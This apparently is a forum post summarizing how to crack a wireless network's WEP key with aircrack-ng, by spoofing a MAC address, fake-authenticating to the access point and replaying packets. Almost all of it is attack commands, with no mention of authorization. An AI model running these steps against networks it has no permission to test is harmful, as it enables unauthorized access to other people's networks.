So to summarize using your steps:
This command puts the device in monitor mode so we can monitor incoming IVs:
Code:
airmon-ng start [device]
To find the networt name and BSSID (router mac address):
Code:
airodump-ng [device]
To find source (our) mac address
Code:
ifconfig or macchanger --show [device]
note: to cut down on time having to memorize or copy and paste the mac address all the time we can change our mac before entering monitor mode by using
Code:
macchanger --mac 00:11:22:33:44:55 [device]
To lock onto our BSSID and the channel our BSSID is on, as well as write all the incoming IVs to a file, we use the following command:
Code:
airodump-ng [device] –bssid [router mac] -w [filename] -c [channel]
Replay packets from a wireless client which is currently associated with the AP (which is us since this is a clientless attack) and attempt to generate new IVs.
Code:
aireplay-ng -3 -b [router mac] -h [my mac] [device]
Since this is a clientless attack, we need to be sure we're associated to the AP that we're trying to generate IVs from, to do this we use Fake Authentication to authenticate us to the AP:
Code:
aireplay-ng -1 6000 -o 1 -q 10 -e [network name] -a [router mac] -h [my mac] [device]
To crack the key we use:
Code:
aircrack-ng -z (filename)*cap
note: you can also specify -n 64,128 depending on the key length. (128 is default)